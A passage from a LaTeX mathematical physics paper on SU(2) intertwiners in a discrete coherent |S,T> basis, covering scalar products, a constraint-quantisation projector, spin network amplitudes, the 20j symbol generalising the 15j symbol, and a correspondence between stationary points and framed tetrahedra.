This last theorem shows that the $|S\rangle$ and $|T\rangle$ or $|U\rangle$ bases are generated by the $|S,T\rangle$ basis. This is particularly useful for instance when describing spin-network amplitudes containing 4-valent nodes since a choice of $S$ or $T$ basis must be made at every such node. The amplitude written in the $|S,T\rangle$ basis however will generate all the different kinds of amplitudes by simply summing over the labellings. For example the $15j$ symbol comes in five different kinds depending on the basis choice at the five nodes. Thus a new symbol labelled by 20 spins, i.e. ten $j_i$, five $S$'s and five $T$'s, based on the $|S,T\rangle$ basis would be a generator of these various symbols. Moreover this $20j$ symbol would be the amplitude corresponding to the coherent 4-simplex. We will define this new symbol shortly.
\section{Scalar Products}
In this section we will compute the scalar product in the $|S,T\rangle$ basis and demonstrate the utility of Theorem \ref{thm_sum_T} by generating all the various other scalar products. Let us first make a general remark about the form of the scalar product that follows from the resolution of identity in (\ref{eqn_res_id}).
Let us split the scalar product into the naive product and the remainder:
\begin{equation}
\left\langle S,T \right.\left| S',T' \right \rangle = \|S,T\|^2 \delta_{S,S'} \delta_{T,T'} + O_{S,T}^{S',T'}
\end{equation}
The resolution of the identity implies that
\begin{equation}
\sum_{S',T'} O_{S,T}^{S',T'} \frac{\langle S',T' |}{||S',T'||^{2}} =0= \sum_{S,T}\frac{|S,T\rangle}{||S,T||^{2}} O_{S,T}^{S',T'}
\end{equation}
This means that the reminder belongs to the algebra generated by the fundamental relation in (\ref{fund_rel}).
These relations can be derived by considering the product of the operator $\hat{R}:H_{j_{i}-\frac12} \mapsto {\cal H}_{j_{i}}$ introduced previously: $R(z_i)^N \langle z_{i} |S,T\rangle = \langle z_{i} | \hat{R}^{N}|S,T\rangle$, where
$R(z_i)$ is the Pl\"ucker relation given in (\ref{eqn_R_plucker}).
Expanding $R(z_i)^N$ using the multinomial theorem we find
\begin{equation}\label{rel}
\left(R(z_i)\right)^N \prod_{i<j} [z_i|z_j\rangle^{k_{ij}(j_i-N/2,s,t)} = \sum_{S,T} R^{(s,t)}_{(S,T)}(N) \prod_{i<j} [z_i|z_j\rangle^{k_{ij}(j_i,S,T)} =0
\end{equation}
where the summation coefficients are given by
\begin{equation}\label{eqn_R_def}
R^{(s,t)}_{(S,T)}(N) = \frac{(-1)^{t-T+N}N!}{[s-S+N]![t-T+N]![S-s+T-t-N]!}
\end{equation}
and the sum is over $S=s+N-a$, $T=t+N-b$ with $ a,b\geq 0$ and $ a+b \leq N$.
From this result and the definition of the states $ \langle z_{i} |S,T\rangle = ||S,T||_{j_{i}} / (J+1)! \prod_{i<j} [z_i|z_j\rangle^{k_{ij}(j_i,S,T)}$, we can write this relation as
\begin{equation}
\frac{ \hat{R}^{N} | s,t\rangle_{j_{i}-N/2}}{ ||s,t||_{j_{i}-N/2}^{2 }} = \frac{(J+1)!}{(J-2N +1)!}
\left(\sum_{S,T} R^{(s,t)}_{(S,T)}(N) \frac{| S,T \rangle_{j_{i}}}{ ||S,T ||_{j_{i}}^{2 }}\right) =0.
\end{equation}
The coefficients in the sum vanish if any of the arguments in the factorials is negative. Note that for $N=1$ we recover the fundamental relation (\ref{fund_rel}).
Now that we have determined the linear relations among the basis states we can deduce the exact form of the scalar product
\begin{lemma}\label{product1}
The scalar product is given by
\begin{equation}\label{scalar}
\left\langle S,T \right.\left| S',T' \right \rangle = \|S,T\|^2 \delta_{S,S'} \delta_{T,T'} +
\sum_{s,t,N} \frac{(-1)^N }{N!}\frac{(J-N+1)!}{\prod_{i<j} k_{ij}(j_i-N/2,s,t)!}
{ R^{(s,t)}_{(S,T)}(N) R^{(s,t)}_{(S',T')}(N) }{}
\end{equation}
\end{lemma}
The proof of this formula is given in appendix \ref{alpha_proof}.
\subsection{Constraints Quantisation}
We would like now to develop a deeper understanding of the construction just given of the scalar product. We have seen that the complexity of the scalar product comes from the imposition of the constraints $\hat{R}=0$. This suggest that we should be able to understand the previous construction in terms of constraint quantization.
In order to do so, lets introduce the auxiliary Hilbert space ${\cal \widehat{H}}_{j_{i}}$ with an orthogonal basis
$|S,T)_{j_{i}}$ having $(S,T)\in {\cal N}_{j_{i}}$ and the scalar product
\begin{equation}
(S',T'|S,T) =||S,T||_{j_{i}}^{2} \delta_{S,S'}\delta_{T,T'}.
\end{equation}
For this Hilbert space the decomposition of the identity takes the canonical form
\begin{equation}
\mathbbm{1}_{{\cal \widehat{H}}_{j_{i}}} = \sum_{S,T} \frac{|S,T)( S,T|}{\|S,T\|_{j_{i}}^2}.
\end{equation}
We define the operator $\hat{R} : {\cal \widehat{H}}_{j_{i}-\frac12}\mapsto {\cal \widehat{H}}_{j_{i}}$ by
\begin{equation}
\hat{R}|S,T)_{j_{i}-\frac12} \equiv
{k_{12}k_{34}} | S,T+1)_{j_{i}}
- {k_{13}k_{24}} |S+1,T)_{j_{i}}
+ (k_{14}+2)(k_{23} +2) |S+1,T+1)_{j_{i}}
\end{equation}
Its powers can be evaluated in terms of the coefficients introduced it the previous section, we find
\begin{equation}\label{matrixel}
{}_{j_{i}} (S,T| \hat{R}^{N} | s,t)_{j_{i}-N/2} = ||s,t||_{j_{i}-N/2}^{2 } \frac{(J+1)!}{(J-2N +1)!}
R^{(s,t)}_{(S,T)}(N).
\end{equation}
The operator $\hat{R}$ is not hermitian, however the operator
$$H \equiv \hat{R}^{\dagger} R $$ is an hermitian operator, being positive its kernel coincides with the kernel of $\hat{R}$.
The intertwiner Hilbert space is defined as the quotient of this auxiliary Hilbert space by the relation $H=0$. This means that $ {\cal {H}}_{j_{i}} = \mathrm{Im}\Pi_{j_{i}} $, where $\Pi^{2}_{j_{i}}=\Pi_{j_{i}}$ with $\Pi_{j_{i}} : {\cal \widehat{H}}_{j_{i}}\to {\cal \widehat{H}}_{j_{i}}$ the projector onto the
kernel of $H$. This means that the intertwined states are related to the auxiliary states as
$$ |S,T\rangle_{j_{i}} = \Pi_{j_{i}} |S,T)_{j_{i}}$$ and the physical scalar is given by the matrix element of the projector
\begin{equation}
\left\langle S,T \right.\left| S',T' \right \rangle = ( S,T | \Pi_{j_{i}} | S',T' ).
\end{equation}
From the results of the previous section this projector can be explicitly constructed.
\begin{lemma}\label{product2}
The projector onto the kernel of $H$ is explicitly given by
\begin{equation}
\Pi_{j_{i}} = 1 +\sum_{N=1}^{\mathrm{min}(2j_{i})}\frac{(-1)^{N}}{N!} \frac{(J-N+1)!(J-2N+1)!}{(J+1)!^{2}} \, \hat{R}^{N}(\hat{R}^{\dagger})^{N}.
\end{equation}
\end{lemma}
The proof is given in appendix \ref{alpha_proof}.
\subsection{Overlap with the Orthogonal Basis}
Let us now show how theorem \ref{thm_sum_T} can be used to generate the various other scalar products. In appendix \ref{app_R_delta} we show that we have the following identity
\begin{equation} \label{eqn_R_delta}
\sum_{T} R^{(s,t)}_{(S,T)}(N) = \delta_{s,S}.
\end{equation}
This identity translates into the statement that $\hat{R}^{\dagger}$ acts diagonally on $|S)_{j_{i}}=\sum_{T}|S,T)_{j_{i}}$:
\begin{equation}
(R^{\dagger})^{N} |S)_{j_{i}} = \frac{(J-2N +1)!}{(J+1)!} |S)_{j_{i}-N/2}.
\end{equation}
For details on proving this identity see appendix \ref{app_R_delta}. Therefore summing over $T$ in (\ref{scalar}) yields
\begin{eqnarray} \label{eqn_s_ST_overlap}
\left\langle S \right.\left|S',T' \right \rangle &=&
\sum_{N=0}^{\mathrm{min}(2j_{i})} \alpha_{J,N} \sum_{t} R^{(S,t)}_{(S',T')}(N) ||S,t||_{j_{i}-N/2}^{2}
\end{eqnarray}
where it is convenient to define
\begin{eqnarray} \label{eqn_alpha}
\alpha_{J,N} &\equiv &
\frac{(-1)^N}{N!} \frac{(J-N+1)!}{(J-2N+1)!}.
\end{eqnarray}
By summing over the different labels in (\ref{scalar}) we can compute the remaining scalar products:
\begin{eqnarray} \label{eqn_usual_sc_prods}
\left\langle S\right|\left.S' \right\rangle = \delta_{S,S'}\sum_{T,N} \alpha_{J,N} ||S,T||_{j_{i}-N/2}^{2}, \hspace{12pt}
\left\langle T\right|\left.T' \right\rangle = \delta_{T,T'} \sum_{S,N} \alpha_{J,N} ||S,T||_{j_{i}-N/2}^{2},\nonumber \\ \hspace{12pt} \langle S | T \rangle_{j_{i}} = (-1)^{k_{23}} \sum_N \alpha_{J,N} ||S,T||_{j_{i}-N/2}^{2}
= \sum_N \alpha_{J,N} (S|T)_{j_{i}-N/2}
\end{eqnarray}
where here the sum over $N$ starts from zero. Hence all of the scalar products between $|S\rangle$, $|T\rangle$, and $|S,T\rangle$ bases are different summations over $\alpha_{J,N}$ and the canonical norms.
In appendix \ref{sec_scalar_products} we show how to perform the summations in (\ref{eqn_usual_sc_prods}) to give the well known normalization factors for $|S\rangle$ and $|T\rangle$. They are given by
\begin{equation}
\left\langle S\right|\left.S' \right\rangle = \frac{\delta_{S,S'}}{2S+1} \Delta^{2}(j_{1}j_{2}S) \Delta^{2}(j_{3}j_{4}S), \hspace{12pt} \left\langle T\right|\left.T' \right\rangle = \frac{\delta_{T,T'}}{2T+1} \Delta^{2}(j_{1}j_{3}T) \Delta^{2}(j_{2}j_{4}T),
\end{equation}
where the triangle coefficients were given in (\ref{eqn_tri_coeff}). Finally, it is easy to see that the overlap between the $|S\rangle$ and $|T\rangle$ bases is given by a 6j symbol. That is, the third sum in (\ref{eqn_usual_sc_prods}) can be recognized as the Racah expansion of the 6j symbol by making a change of variable $m = J-N$. Doing so we get
\begin{eqnarray}
\langle S | T \rangle
&=& {(-1)^{J+k_{23}}}{\Delta(j_{1}j_{2}S)\Delta(j_{3}j_{4}S)\Delta(j_{1}j_{3}T)\Delta(j_{2}j_{4}T)} \sixj{j_1}{j_2}{S}{j_4}{j_3}{T}.
\end{eqnarray}
These relations with the orthogonal basis provide a consistency check, but they will also be useful later in connecting with the 15j symbol. To do so we will next study the contraction of the $|S,T\rangle$ states.
\section{Spin Network Amplitudes}
In this section we show how the discrete coherent basis (\ref{C}) is a natural basis for representing and computing spin network amplitudes. A spin network can be defined by a directed graph $\Gamma$ in which the edges are labelled by spins $j_e$
and vertices are labelled by intertwiners. The spin network amplitude is obtained by contracting the intertwiners along the edges of $\Gamma$.
Depending on the intertwiner basis we get different amplitudes. The two bases we consider here are the continuous basis $\|j_{i},z_{i}\rangle $ and the discrete basis $|[k_{ij}]\rangle$.
More precisely lets denote by $\{\Omega_v\}_{v\in V_{\Gamma}} $ a choice of intertwiner for every vertex of $\Gamma$ where $\|\Omega_v\rangle \in \mathrm{Inv}_{\mathrm{SU(2)}}(\bigotimes_{e\supset v}V^{j_{e}})$ is represented by a holomorphic function $( w_e | \Omega_v \rangle$.
The contraction of the intertwiners is accomplished using the scalar product (\ref{barg_in_prod}) and is denoted
\begin{equation}
\underset{v}{\resizebox{15pt}{!}{\mbox{\huge{$\lrcorner$}}}} \|\Omega_{v} \rangle \equiv \int \prod_{e \in E_\Gamma} \mathrm{d}\mu(w_e) \prod_{v \in V_\Gamma} ( w_e \| \Omega_v \rangle,
\end{equation}
where $E_\Gamma$ and $V_\Gamma$ are the set of edges and vertices of $\Gamma$. Note that in the contraction $w_{e^{-1}} \equiv \check{w}_e$. In particular, the contraction of coherent intertwiners produces an amplitude which is given by
\begin{equation} \label{amplitude}
A_\Gamma(j_e,z_e) \equiv \underset{v\in V_\Gamma}{\resizebox{15pt}{!}{\mbox{\huge{$\lrcorner$}}}} {\|j_e,z_e \rangle} = \int \prod_{v\in V_\Gamma} \mathrm{d} g_v \prod_{e \in E_\Gamma} \frac{ [z_e|g_{s_e}g_{t_e}^{-1}|z_{e^{-1}}\rangle^{2j_e}}{(2j_{e})!}.
\end{equation}
The amplitude for a general graph, in the discrete basis, will depend on the integers $k_{ee'}^{v}$ associated with each pair of edges meeting at $v$ and is denoted
$$A_\Gamma(k_{ee'}^{v})\equiv \underset{v\in V_\Gamma}{\resizebox{15pt}{!}{\mbox{\huge{$\lrcorner$}}}} |k^{v}_{ee'}\rangle.$$
The fundamental relation (\ref{fundrelation}) between the two bases implies that these two amplitudes are related as follows
\begin{eqnarray}
A_\Gamma(j_e,z_e) &=& \sum_{k^{v}_{ee'}\in K_j} A_{\Gamma}(k_{ee'}^{v}) \prod_v \frac{(z_{e}| k^{v}_{ee'}\rangle}{\|[k^{v}]\|^2}\nonumber \\
&=& \sum_{k^{v}_{ee'}\in K_j} A_{\Gamma}(k_{ee'}^{v})
\prod_{v} \left(\frac{\prod_{(ee')\supset v} [z_{e}|z_{e'}\rangle^{k_{ee'}^{v}}}{(J_{v}+1)!}\right). \label{eqn_discrete_amp}
\end{eqnarray}
We would now like to evaluate these amplitudes. In \cite{FH_exact} it is shown how to evaluate the integrals in (\ref{amplitude}) by comparing the coefficients of the same homogeneity in the following generating functional
\begin{equation} \label{eqn_gen_func}
{\cal A}_{\Gamma}(z_{e}) \equiv \sum_{j_e} \int \prod_{v\in V_\Gamma} \mathrm{d} g_v (J_v + 1)! \prod_{e \in E_\Gamma} \frac{[z_e|g_{s_e}g_{t_e}^{-1}|z_{e^{-1}}\rangle^{2j_e}}{(2j_e)!} = \frac{1}{(1+\sum_{C} A_C(z_e))^2}
\end{equation}
where $J_v$ is the sum of the spins at the vertex $v$.
The sum is over collections $C = \{c_1,...,c_k\}$ of non-trivial cycles of the graph which are disjoint, i.e. do not share any edges or vertices with themselves or the other cycles. The quantities $A_C \equiv A_{c_1} \cdots A_{c_k}$ are defined for each cycle $c_i = (e_1,...,e_n)$ by
\begin{equation}
A_{c_i}(z_e) \equiv -(-1)^{|e|} [\tilde{z}_{e_{1}} | z_{e_{2}}\rangle [\tilde{z}_{e_2}| z_{e_3}\rangle \cdots [\tilde{z}_{e_{n}}|z_{e_1}\rangle
\end{equation}
where $\tilde{z}_e \equiv z_{e^{-1}}$ and $|e|$ is the number of edges in the cycle which agrees with the orientation of $\Gamma$.
Expanding the generating functional we obtain the explicit expansion
\begin{equation}
{\cal A}_{\Gamma}(z_{e}) = \sum_{k_{ee'}^{v}} R_{\Gamma}(k_{ee'}^{v}) \prod_{v} \left(\prod_{(ee')\supset v} [z_{e}|z_{e'}\rangle^{k_{ee'}^{v}}\right).
\end{equation}
where $R_{\Gamma}(k_{ee'}^{v})$ are the generalization of the Racah summation for an arbitrary graph
\begin{equation} \label{eqn_power}
R_{\Gamma}(k_{ee'}^{v}) \equiv \sum_{[M_C]} (-1)^{N+s} \frac{(N+1)!}{\prod_{C} M_C!}
\end{equation}
where $N = \sum_C M_C$ and the sign $s$ accounts for the ordering of $ee'$ in $[z_{e}|z_{e'}\rangle$. The $M_C$ are positive integers labelled by each disjoint union of cycles $C$ and are summed over. These integers are restricted to depend on the $k_{ee'}^{v}$ by the relation
\begin{equation} \label{eqn_kee}
k_{ee'}^{v} = \sum_{C \supset (ee')} M_C,
\end{equation}
where the sum is over all cycle unions $C$ which contain a cycle with the corners $(ee')$ or $(e'e)$.\footnote{Note that the solution of (\ref{eqn_kee}) is not unique since in the number of cycles is usually greater than the number of independent $k_{ee'}$. Therefore in general the coefficients $A_\Gamma(k_{ee'}^{v})$ will be given by a sum over arbitrary parameters. This leads for example to a summation over one parameter for the tetrahedral graph, which corresponds to the Racah expansion of the 6j symbol. For the 4-simplex this will involve 17 parameters.}
On the other hand the relationship between continuous and discrete bases implies that the generating functional can also be expressed in terms of the discrete intertwiners as
\begin{equation}
{\cal A}_{\Gamma}(z_{e}) = \sum_{k_{ee'}^{v}} A_{\Gamma}(k_{ee'}^{v}) \prod_{v} \left(\prod_{(ee')\supset v} [z_{e}|z_{e'}\rangle^{k_{ee'}^{v}}\right).
\end{equation}
This shows that
$A_{\Gamma}(k_{ee'}^{v}) \simeq R_{\Gamma}(k_{ee'}^{v})$
where $\simeq$ is an equivalence relation on amplitudes $A_{\Gamma}(k^{v}_{ee'})$.
It is defined by $A_{\Gamma}(k^{v}_{ee'})\simeq 0$ iff $\sum_{k^{v}_{ee'}}A_{\Gamma}(k^{v}_{ee'}) \prod_{v,(ee')} [z_{e}|z_{e'}\rangle^{k_{ee'}^{v}}=0$. That is, it vanishes due to the Plucker relations when contracted with and summed over $\prod_{v,(ee')} [z_{e}|z_{e'}\rangle^{k_{ee'}^{v}}$.
In order to find the analog of the Racah formula for the amplitude $A_{\Gamma}(k_{ee'}^{v})$ we need to use the more general generating functional
\begin{equation}
{\cal G}_{\Gamma}(\tau^{v}) \equiv \sum_{k_{ee'}^{v}} A_{\Gamma}(k_{ee'}^{v}) \prod_{v} \left(\prod_{(ee')\supset v} (\tau_{ee'}^{v})^{k_{ee'}^{v}}\right)
\end{equation}
where $\tau^{v}_{ee'}$ are arbitrary complex parameters associated with pairs of edges meeting at $v$.
This generating functional has been evaluated in \cite{FH_exact}, and remarkably it was shown that they assume the same form as (\ref{eqn_gen_func}), the only difference being that the sum is {\it not only} over unions of cycles, but also over unions of simple loops denoted by $L$.
A simple loop is loop of non overlapping edges.
The difference between loops and cycles is that cycles do not have any intersections. Hence, the unions of cycles are a subset of the unions of loops. This result implies that the amplitude $A_{\Gamma}(k_{ee'}^{v})$ can be expressed as a Racah sum over loops:
\begin{equation}
A_{\Gamma}(k_{ee'}^{v}) \equiv \sum_{[M_L]} (-1)^{N+s} \frac{(N+1)!}{\prod_{L} M_L!}
\end{equation}
where $M_{L}$ are integers labelled by each disjoint union of simple loops $L$,
they are summed over with the restriction
$
k_{ee'}^{v} = \sum_{L \supset (ee')} M_L,
$
while
$N = \sum_L M_L$. For more details see \cite{FH_exact}.
\subsection{The 20j symbol}
Let us now use all of the results obtained for the $|S,T\rangle$ basis to compute a generalization of the $15j$ symbol, which will depend now on 20 spins: ten $j_e$ on the edges and five $S_v$, and five $T_v$ on the vertices. The $20j$ symbol will be the amplitude corresponding to the coherent 4-simplex. It is a generalization of the $15j$ symbol since by theorem \ref{thm_sum_T} we can sum over five of the extra spins and obtain one of the five variations of the $15j$ symbol.
First label the vertices of the 4-simplex by $i=1,..,5$ and an edge directed from $i$ to $j$ as in $z_{e} \equiv z^{i}_{j} \neq z^{j}_{i} \equiv z_{e^{-1}}$. Let $\{20j\}_{S_i,T_i} \equiv \underset{i}{\resizebox{15pt}{!}{\mbox{\huge{$\lrcorner$}}}} |S_i, T_i \rangle$ denote the unnormalized 20j symbol.
The relation (\ref{eqn_discrete_amp}) between coherent and discrete amplitudes reads
\begin{equation}
A_{4S}(j_{ij},z^{i}_{j}) = \sum_{S_i,T_i} \{20j\}_{S_i,T_i} \prod_{i} \frac{( z^{i}_{j} | S_i, T_i\rangle}{\|S_i,T_i\|^2}
\end{equation}
\begin{figure}
\centering
\includegraphics[width=0.5\textwidth]{20j}
\caption{The graphical representation of the 20j symbol: The amplitude of the coherent 4-simplex.} \label{fig_20j}
\end{figure}
We can express the $20j$ symbol explicitly in terms of the $15j$ symbol by inserting another five resolutions of identity $\mathbbm{1}_{j_i} = \sum_{S'} |S'\rangle\langle S'|/\|S'\|^2$ into the definition of the 20j symbol to get
\begin{equation} \label{eqn_20j_15j}
\{20j\}_{S_i,T_i} = \sum_{S_{i}^{'}} \{15j\}_{S'_i} \prod_{i} \frac{\langle S_{i}^{'} | S_i, T_i \rangle}{\|S_{i}^{'}\|^2}
\end{equation}
where $\{15j\}_{S'_i}$ is the unnormalized 15j symbol defined by $\{15j\}_{S'_i} \equiv \underset{i}{\resizebox{15pt}{!}{\mbox{\huge{$\lrcorner$}}}} |S_{i}^{'} \rangle$ and is equal to $\prod_i \|S_{i}^{'}\|$ times the conventional normalized 15j symbol up to a sign depending on the orientation of the edges. Notice that by summing over $T_i$ in (\ref{eqn_20j_15j}) we obtain the unnormalized $15j$ symbol as expected. Thus the five different kinds of $15j$ symbols are derived from the $20j$ by summing over the different channels. For example the $15j$ with all $S$ channels is given by
\begin{equation}
\{15j\}_{S_i} = \sum_{T_i} \{20j\}_{S_i,T_i},
\end{equation}
and the other kinds of 15j symbol are given similarly.
Let us now use theorem \ref{thm_sum_T} to rewrite the 20j symbol in a more symmetric form
\begin{equation}
\{20j\}_{S_i,T_i} = \sum_{S_{i}^{'},T_{i}^{'}} \{15j\}_{S'_i} \prod_{i} \frac{\langle S_{i}^{'},T_{i}^{'} | S_i, T_i \rangle}{\|S_{i}^{'}\|^2}.
\end{equation}
In this form it is easy to derive the asymptotics of the 20j symbol by those of the 15j since for large spins (see the next section) $\langle S,T | S', T' \rangle \sim \delta_{S,S'} \delta_{T,T'} \|S,T\|^2$, and therefore
\begin{equation}
\{20j\}_{S_i,T_i}\sim \{15j\}_{S_i} \prod_i \frac{\|S_i,T_i\|^2}{\|S_i\|^2}.
\end{equation}
This means that understanding the asymptotics of the $20j$ symbol will give us the asymptotics of the $15j$ symbol too.
There has been recent results on the asymptotics of spin networks evaluation \cite{FC,B} but this progress concerns however the asymptotic evaluation of the coherent state amplitude $ A_{4S}(j_{ij},z^{i}_{j})$.
The asymptotic evaluation of the non coherent $15j$ symbol is not known and as we are going to see in the next section our techniques allow us to unravel the asymptotics for the first time.
Finally, we will give an explicit expression for the 20j, which is independent of the 15j, as a generalized Racah formula. By solving (\ref{eqn_kee}) for $M_C$ in terms of $k^{v}_{ee'}$ we can derive a Racah formula for the amplitude of an arbitarary graph which is given by (\ref{eqn_power}). Since there are 37 cycles $C$ in the 4-simplex and only 20 independent $k^{v}_{ee'}$ this formula will not be unique and will involve a sum over 17 parameters $p_k$. The Racah formula is then
\begin{equation}
\{20j\}_{S_i,T_i} \simeq \sum_{p_1 \cdots p_{17}} \frac{(-1)^{N+s}(N+1)!}{\prod_{C} M_{C}(j_{ij},S_i,T_i,p_k)!}
\end{equation}
where $N = \sum_C M_C$ and the sign $s = M_{1234}+M_{1235}+M_{1245}+M_{12354}+M_{12435}$ accounts for the edge ordering. In appendix \ref{20j_symbol} we give an explicit parameterization of the $M_C$ in terms of the $p_k$ although we note that simpler parametrizations might exist. Furthermore, using various hypergeometric formulas one may be able to perform some of the summations over the $p_k$ explicitly.
\section{Semi-Classical Limit}
It is now well-known and explained in great detail in \cite{Conrady:2009px,Freidel:2009nu} that the space of $4$-valent intertwiners can be uniquely labelled by
oriented tetrahedra. In this section we will demonstrate this correspondence for the $|S,T\rangle$ states. In order to connect with the classical behaviour we would like to analyze the asymptotics of the scalar product of two such states in the limit where the spins $(j_{i},S,T)$ are all uniformly large.
We use the fact that this scalar product can itself be expressed as an integral
\begin{equation}
\langle S,T|S',T'\rangle =\frac1{\prod_{i<j}( k_{ij}! k_{ij}'!)} \int \prod_{i} \frac{\mathrm{d}^2 z_{i}}{\pi^2} e^{- S_{k}(z)}
\end{equation}
where the action is given by
\begin{equation} \label{eqn_action}
S_{k} = \sum_{i} \langle z_{i}| z_{i} \rangle - \sum_{i<j}\left( k_{ij} \ln[z_{i}|z_{j}\rangle + k'_{ij} \ln \langle z_{i}|z_{j}] \right).
\end{equation}
The asymptotic evaluation of this scalar product is controlled by the stationary points\footnote{ If $k_{ij}= N K_{ij}$ and we define $ z_{i}=\sqrt{N} x_{i}$ we see that this integral that we want to evaluate in the large $N$ limit takes the usual form $N^{2J} \int \prod_{i}\mathrm{d} x_{i} e^{-N S_{K}(x)} $ .} of this action.
That is we look for solutions of
\begin{equation}
\sum_{j\neq i} \frac{k_{ij}}{[z_{i}|z_{j}\rangle} [z_{i}| = \langle z_{j} |,\qquad
\sum_{j\neq i} \frac{k_{ij}'}{\langle z_{j}|z_{i}]} |z_{i}] = | z_{j} \rangle .\label{kz}
\end{equation}
Now it is clear that if $k\neq k'$ there cannot be any real solution. This shows that this scalar product is exponentially suppressed unless $(S,T)=(S',T')$
\footnote{We could still evaluate the integral asymptotically when $k\neq k'$ by looking for complex solutions.
In order to do so we and use the fact that $[\check{z}_{i}|\check{z}_{j}\rangle = [z_{i}|z_{j}\rangle^{*}$.
We get an action holomorphic in $ |z_{i}\rangle$ and $|\check{z}_{i}\rangle$:
$$S_{k} =- \sum_{i} [ \check{z}_{i}| z_{i} \rangle - \sum_{i<j}\left( k_{ij} \ln[z_{i}|z_{j}\rangle + k'_{ij} \ln [\check{ z}_{i}|\check{z}_{j}\rangle \right).$$
The stationary equations are
\begin{equation}
\sum_{j\neq i} \frac{k_{ij}}{[z_{i}|z_{j}\rangle} [z_{j}| = -[ \check{z}_{i} |,\qquad
\sum_{j\neq i} \frac{k_{ij}'}{[\check{z}_{i}|\check{z}_{j}\rangle} [\check{z}_{j}| = [ z_{i} |,
\end{equation}
In the case $k_{ij}\neq k'_{ij}$ we do not demand that $[{z}_{i}| = \langle \check{z}_{i}|$ which corresponds to the real contour of integration.}.
Furthermore, if we contract this equation with $ | z_{j}\rangle$ we obtain the constraints
\begin{equation}
2j_{i} = \sum_{j\neq i} k_{ij}= \langle z_{i}|{z}_{i}\rangle.
\end{equation}
These equations are invariant under $\mathrm{SU}(2)$, so $ g|z_{i}\rangle$ is a solution if $|z_{i}\rangle$ is and $ g \in \mathrm{SU}(2)$.
We also have an invariance of these equations under the rescaling $ |z_{i}\rangle \to e^{i\alpha^{i}} |z_{i}\rangle$.
Finally, by taking the conjugation of (\ref{kz}) $|\check z\rangle = |z]$ and using the fact that $[\check{z}_{j}|\check{z}_{i}\rangle = [z_{j}|z_{i}\rangle^{*}$ we can show that this equation is also equivalent
to the conjugated equation
\begin{equation}
\sum_{j\neq i} \frac{k_{ij}}{[\check{z}_{j}|\check{z}_{i}\rangle} [\check{z}_{j}| = \langle \check{z}_{i} |.\label{conjkz}
\end{equation}
This means that the $\mathbb{Z}_{2}$ transformation $ |z_{i}\rangle \to | \check{z}_{i}\rangle =|z_{i} ]$ is also a symmetry of the equation of motion. In summary this shows that the symmetry group of the solutions (\ref{kz}) is given by $\mathrm{SU}(2) \times \mathrm{U}(1)^{4}\times \mathbb{Z}_{2}$.
\subsection{Relation with Framed Tetrahedra}
What is remarkable about the solutions (\ref{kz}) is that they are in one to one correspondence with framed tetrahedra.
A framed tetrahedron in ${\mathbb R}^{3}$ is a tetrahedron together with a choice of frame on each face (i.e. a choice of a preferred direction tangential to the face).
The SU(2) invariance corresponds to rotations of the tetrahedron, while a rotation of the frame on face $i$ by an angle $\alpha^{i}$ corresponds to a rescaling of $|z_{i}\rangle $ by $ e^{i\alpha^{i}/2}$.
The $\mathbb{Z}_{2}$ transformation corresponds to a global reflection exchanging inward and outward normals.
Indeed, suppose that we have a framed tetrahedron which is such that the area and outward unit normal directions of the face $i$ are denoted by $(A_{i},N_{i})$.
We also denote $F_{i}$ to be the unit vector in the face $i$ (i.e. $F_{i}\cdot N_{i}=0$) that provides the framing of the face $i$.
Then the fact that this data corresponds to a tetrahedron is implied by the closure constraints
\begin{equation}
\sum_{i} A_{i} N_{i} =0.
\end{equation}
Such a framed tetrahedron can be equivalently labelled in terms of four spinors $|z_{i}\rangle$ which satisfy the closure relation
\begin{equation}
\sum_{i} |z_{i}\rangle \langle z_{i}| = \frac{A}2 1
\end{equation}
where $A=\sum_{i}A$ is the total area of the tetrahedra.
This data is
related to the data $(A_{i},N_{i},F_{i})$ as follows: First $\langle z_{i}|z_{i}\rangle = A_{i}$ and second
\begin{equation} \label{eqn_z_N_F}
|z_{i}\rangle\langle z_{i}| -|z_{i}][z_{i}| = A_{i} N_{i} \cdot \sigma ,\qquad |z_{i}\rangle[z_{i}| = i\frac{A_{i}}{2}\left(F_{i} + i N_{i}\times F_{i}\right) \cdot \sigma
\end{equation}
where $\sigma = (\sigma_{1},\sigma_{2},\sigma_{3})$ are the Pauli matrices and $\times$ denotes the cross product.
The first equation determines $|z_{i}\rangle$ up to a phase while the second equation determines the phase up to an overall sign. Thus $\pm |z_{i}\rangle$ is uniquely determined by the framed tetrahedron.
\begin{theorem} \label{thm_closure}
The solutions of (\ref{kz}) are in one to one correspondence with framed tetrahedra, with face areas $2j_{i}$ and total area $2J$.
The discrete parameters related to the spinors are given by
\begin{equation}
\langle z_{i}|z_{i}\rangle = 2j_{i}, \quad J k_{ij} \equiv |[z_{j}|z_{i}\rangle|^{2}.
\end{equation}
\end{theorem}
\begin{proof}
Lets suppose that $|z_{i}\rangle$ is a solution of (\ref{kz}). Then
\begin{eqnarray}
\sum_{i} |z_{i}\rangle \langle z_{i} | =
\sum_i \sum_{j\neq i } \frac{k_{ij}}{[z_{j}|z_{i}\rangle} |z_{i}\rangle [z_{j}|
= \sum_{i < j } \frac{k_{ij}}{[z_{j}|z_{i}\rangle} (|z_{i}\rangle [z_{j}| -|z_{j}\rangle [z_{i}|)
= \sum_{i < j } {k_{ij}} 1 = J 1.
\end{eqnarray}
which implies that $|z_{i}\rangle$ satisfy the closure constraint and hence constitute a framed tetrahedron.
The area of the faces of this tetrahedron are given by $A_{i} =\sum_{j\neq i} k_{ij}$.
Let us now suppose that $|z_{i}\rangle$ is a solution of the closure constraints and lets define $k_{ij} \equiv \frac2{A} [z_{j}|z_{i}\rangle\langle z_{i}|z_{j}]$.
Then by construction we have
\begin{equation}
\sum_{j\neq i} \frac{k_{ij} }{[z_{j}|z_{i}\rangle} [z_{j}| = \frac2{A} \sum_{j\neq i}\langle z_{i}|z_{j}] [z_{j}| = \langle z_{i}|.
\end{equation}
which shows that $|z_{i}\rangle$ is a solution of (\ref{kz}).
Finally lets suppose that given $|z_{i}\rangle$ we have another set $k'_{ij}$ which is a solution of (\ref{kz}).
This would imply that
$\sum_{j\neq i} {\Delta_{ij}} [z_{j}| =0$ with $\Delta_{ij}\equiv(k_{ij}-k_{ij}')/[z_{j}|z_{i}\rangle$.
The sum contains three terms, and by contracting it with $|z_{k}]$, with $k\neq i,j$, we obtain two relations.
The consistency of these relations imply that $\Delta_{ij}=0$.
\end{proof}
